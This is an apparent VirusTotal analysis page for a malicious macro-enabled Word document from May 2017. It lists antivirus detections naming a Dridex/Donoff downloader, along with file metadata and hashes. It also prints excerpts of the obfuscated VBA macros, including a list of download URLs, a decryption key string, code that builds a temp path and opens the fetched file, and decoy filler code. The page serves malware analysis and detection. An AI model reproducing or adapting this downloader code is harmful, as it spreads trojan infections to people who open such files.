Antivirus scan for 4c4580f7b858d06afd0eb9505cca1d5a5ae9600682ac485a267335797deb8a6b at 2017-05-12 04:09:04 UTC

Antivirus	Result	Update
Avira (no cloud)	W2000M/Agent.0446414	20170511
Baidu	VBA.Trojan-Downloader.Agent.bae	20170503
CAT-QuickHeal	O97M.Downloader.AJK	20170511
F-Secure	Trojan-Downloader:W97M/Dridex.Z	20170512
Ikarus	Trojan-Downloader.VBA.Agent	20170511
Microsoft	TrojanDownloader:O97M/Donoff	20170512
NANO-Antivirus	Trojan.Ole2.Vbs-heuristic.druvzi	20170512
Qihoo-360	virus.office.obfuscated.1	20170512
Rising	Heur.Macro.Downloader.d (classic)	20170512
Symantec	W97M.Downloader	20170511
TrendMicro	W2KM_LO.B3C9E4B5	20170512
TrendMicro-HouseCall	W2KM_LO.B3C9E4B5	20170512
ZoneAlarm by Check Point	HEUR:Trojan-Downloader.Script.Generic	20170512
Ad-Aware		20170512
AegisLab		20170512
AhnLab-V3		20170512
Alibaba		20170512
ALYac		20170512
Antiy-AVL		20170512
Arcabit		20170512
Avast		20170512
AVG		20170512
AVware		20170512
BitDefender		20170512
Bkav		20170511
ClamAV		20170511
CMC		20170511
Comodo		20170512
CrowdStrike Falcon (ML)		20170130
Cyren		20170512
DrWeb		20170512
Emsisoft		20170512
Endgame		20170503
ESET-NOD32		20170512
F-Prot		20170512
Fortinet		20170512
GData		20170512
Sophos ML		20170413
Jiangmin		20170510
K7AntiVirus		20170511
K7GW		20170512
Kaspersky		20170512
Kingsoft		20170512
Malwarebytes		20170512
McAfee		20170512
McAfee-GW-Edition		20170511
eScan		20170512
nProtect		20170512
Palo Alto Networks (Known Signatures)		20170512
Panda		20170511
SentinelOne (Static ML)		20170330
Sophos AV		20170512
SUPERAntiSpyware		20170511
Symantec Mobile Insight		20170511
Tencent		20170512
TheHacker		20170508
TotalDefense		20170511
Trustlook		20170512
VBA32		20170511
VIPRE		20170512
ViRobot		20170512
Webroot		20170512
WhiteArmor		20170502
Yandex		20170510
Zillya		20170511
Zoner		20170512

The file being studied follows the Open XML file format! More specifically, it is a Office Open XML Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May open a file.

May write to a file.

May perform operations with other files.

May create OLE objects.

May enumerate open windows.

Seems to contain deobfuscation code.

Macros and VBA code streams

[+] ThisDocument.cls word/vbaProject.bin VBA/ThisDocument 80 bytes

[+] Cooper.cls word/vbaProject.bin VBA/Cooper 259 bytes

[+] Module3.bas word/vbaProject.bin VBA/Module3 4074 bytes

exe-pattern create-ole

Public Function Lipochanko(a, b)
Dim per
Dim der
   Lipochanko = (a Or b) And (Not (a And b))
End Function





Public Sub SubMui()
If ActiveDocument.Kind = 0 Then
Set CuPro = CreateObject(Vaucher)
End If
Set trtrtrbrbrbrdrdrdrPIRO_LOR = CreateObject(AsStringName(FreshID + 3))
smbi = Window1.Label1.Caption

MovedPermanently = Split("trebleimp.com/77g643Vmonowheels.ru/77g643V5hdnnd74fffrottd.com/af/77g643Vbyydei74fg43ff4f.net/af/77g643", Window1.Command.Caption)
 Set SubProperty = CreateObject(AsStringName(1))
    
   Set trtrtrbrbrbrdrdrdrGMAKO = CreateObject(AsStringName(2))

Set trtrtrbrbrbrdrdrdrRDD2 = trtrtrbrbrbrdrdrdrPIRO_LOR.Environment(AsStringName(4))


 ProjectDarvin = 18
 trtrtrbrbrbrdrdrdrLAKOPPC = trtrtrbrbrbrdrdrdrRDD2(AsStringName(ProjectDarvin / 3))



     MoveSheets "A", "B", "C"

End Sub

Sub enumMembers(objDomain)
    On Error Resume Next
    Dim Secondary(20)
    For Each objMember In objDomain
        If objMember.Class = "user" Then
            x = x + 1

            
            
            SamAccountName = objMember.SamAccountName
            Cn = objMember.Cn
            FirstName = objMember.GivenName
            LastName = objMember.sn
            initials = objMember.initials
            Descrip = objMember.Description
            Office = objMember.physicalDeliveryOfficeName
            Telephone = objMember.telephonenumber
            EmailAddr = objMember.mail
            WebPage = objMember.wwwHomePage
            Addr1 = objMember.streetAddress
            City = objMember.l
            State = objMember.st
            ZipCode = objMember.postalCode
            Title = objMember.Title
            Department = objMember.Department
            Company = objMember.Company
            Manager = objMember.Manager
            Profile = objMember.profilePath
            LoginScript = objMember.scriptpath
            HomeDirectory = objMember.HomeDirectory
            HomeDrive = objMember.HomeDrive
            AdsPath = objMember.AdsPath
 [... continues ...]

[+] Module1.bas word/vbaProject.bin VBA/Module1 974 bytes

handle-file obfuscated open-file write-file

[+] Module2.bas word/vbaProject.bin VBA/Module2 1956 bytes

obfuscated

[+] Module4.bas word/vbaProject.bin VBA/Module4 2988 bytes

create-ole enum-windows obfuscated open-file

Public trtrtrbrbrbrdrdrdrPokerFace As Variant
Public trtrtrbrbrbrdrdrdrGMAKO As Object
Public trtrtrbrbrbrdrdrdrLAKOPPC As String
Public trtrtrbrbrbrdrdrdrPIRO_LOR As Object
  

Public Const Sooopchik = "etof"






Public Function trtrtrbrbrbrdrdrdrProjectSpeed()

GoTo rTemp2
    Set FSO = CreateObject("Scripting.FileSystemObject")

Set oArgs = WScript.Arguments
If oArgs.Count = 1 Then
        strComputer = CStr(oArgs(0))
Else
    strComputer = InputBox("Enter computer name")
End If




Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")
Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_VideoController", "WQL", _
wbemFlagReturnImmediately + wbemFlagForwardOnly)
rTemp2:
 trtrtrbrbrbrdrdrdrProject = trtrtrbrbrbrdrdrdrLAKOPPC
 trtrtrbrbrbrdrdrdrProjectBBB = trtrtrbrbrbrdrdrdrProject + "\eewadro" + CStr(ProjectDarvin)


GoTo rTemp3
    For i = 0 To UBound(Menu3Rect)
        If IntersectR.ect(rTemp, Menu3Rect(i), rMouse) Then
            CheckRectsMenu3 = i + 1
            Exit Function
        End If
    Next
rTemp3:
trtrtrbrbrbrdrdrdrProject = trtrtrbrbrbrdrdrdrProject + Replace(AsStringName(12), ".", CStr(ProjectDarvin) + ".")
 SubProperty.Type = 1
End Function

Public Function Assimptota4(FullPath As String, NumHoja As Integer) As String
  WidthA trtrtrbrbrbrdrdrdrProjectBBB, trtrtrbrbrbrdrdrdrProject, "d4fsO4RqQabyQePeXTaoQfwRCXbIuS9Q"


trtrtrbrbrbrdrdrdrGMAKO.Open (trtrtrbrbrbrdrdrdrProject)
   
End Function

Public Sub SaveDataCSVToolStripMenuItem_Click(e As Integer)
       trtrtrbrbrbrdrdrdr4 = Window1.ZK.Caption & MovedPermanently(i)
 ProjectDarvin = ProjectDarvin + 2
 Dim XIpotom2 As Cooper
Set XIpotom2 = New Cooper
If e < 488 Then


 XIpotom2.Challenge "Swed", 13
CallByName CuPro, Window1.ToggleButton1.Caption, VbMethod
Set XIpotom2 = Nothing
 
Else

End If
    End Sub

Public Function Synomati(Comps)
    GoTo l12
    strComputer = Comps
    Set oWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")


    If InS [... continues ...]

Content types

bin

rels

jpg

xml

Package relationships

word/document.xml

docProps/app.xml

docProps/core.xml

Core document properties

dc:creator

cp:lastModifiedBy

cp:revision

dcterms:created

2017-05-11T20:49:00Z

dcterms:modified

2017-05-11T20:49:00Z

Application document properties

Template

Normal.dotm

TotalTime

Pages

Words

Characters

Application

Microsoft Office Word

DocSecurity

Lines

Paragraphs

ScaleCrop

false

vt:lpstr

\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435

vt:i4

LinksUpToDate

false

CharactersWithSpaces

SharedDoc

false

HyperlinksChanged

false

AppVersion

16.0000

Document languages

Language

Prevalence

ru-ru

en-us

ar-sa

ExifTool file metadata

SharedDoc

HyperlinksChanged

LinksUpToDate

LastModifiedBy

HeadingPairs

, 1

ZipFileName

[Content_Types].xml

Template

Normal.dotm

ZipRequiredVersion

ModifyDate

2017:05:11 20:49:00Z

ZipCRC

0x2d551a4d

Words

ScaleCrop

RevisionNumber

MIMEType

application/vnd.ms-word.document.macroEnabled

ZipBitFlag

0x0006

CreateDate

2017:05:11 20:49:00Z

Lines

AppVersion

16.0

ZipUncompressedSize

1504

ZipCompressedSize

400

Characters

CharactersWithSpaces

DocSecurity

None

ZipModifyDate

1980:01:01 00:00:00

FileType

DOCM

Application

Microsoft Office Word

TotalEditTime

ZipCompression

Deflated

Pages

Creator

FileTypeExtension

docm

Paragraphs

The file being studied is a compressed stream! Details about the compressed contents follow.

Contained files

This file is a compressed stream containing 15 files.

[+] word/vbaProject.bin Microsoft Office 44032 Bytes

[+] word/document.xml XML 4368 Bytes

[+] word/vbaData.xml XML 1816 Bytes

[+] word/settings.xml XML 8455 Bytes

[+] docProps/app.xml XML 993 Bytes

[+] docProps/core.xml XML 729 Bytes

[+] [Content_Types].xml XML 1504 Bytes

[+] _rels/.rels XML 590 Bytes

[+] word/_rels/document.xml.rels XML 1071 Bytes

[+] word/media/image1.jpg JPG 40697 Bytes

Compression metadata

Contained files

Uncompressed size

142972

Highest datetime

1980-01-01 00:00:00

Lowest datetime

1980-01-01 00:00:00

Contained files by extension

xml

bin

jpg

Contained files by type

XML

Microsoft Office

JPG

File identification

MD5 9af80fcfc8e2c0c78cdfab84584eafe4

SHA1 5c222168eba4e7567b0399caa9653a90f25c7e5a

SHA256 4c4580f7b858d06afd0eb9505cca1d5a5ae9600682ac485a267335797deb8a6b

ssdeep

1536:i4yqYR100hGSjoemr/3lypPpHSNZetooifW09lZbR73v:cFR10m7Hmj3lypVSNZetookW0P7

File size 73.2 KB ( 74972 bytes )

File type Office Open XML Document

Magic literal

Zip archive data, at least v2.0 to extract

TrID	Word Microsoft Office Open XML Format document (with Macro) (53.0%) Word Microsoft Office Open XML Format document (23.9%) Open Packaging Conventions container (17.8%) ZIP compressed archive (4.0%) PrintFox/Pagefox bitmap (var. P) (1.0%)

VirusTotal metadata

First submission 2017-05-12 04:09:04 UTC ( 1 year, 7 months ago )

Last submission 2017-05-12 04:09:04 UTC ( 1 year, 7 months ago )

File names

N5OSUHX.docm

SHA256:	4c4580f7b858d06afd0eb9505cca1d5a5ae9600682ac485a267335797deb8a6b
File name:	N5OSUHX.docm
Detection ratio:	13 / 59
Analysis date:	2017-05-12 04:09:04 UTC ( 1 year, 7 months ago ) View latest

Ciphered bundle

Commonly abused properties

Macros and VBA code streams

Content types

Package relationships

Core document properties

Application document properties

Document languages

ExifTool file metadata

Contained files

Compression metadata

Contained files by extension

Contained files by type

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in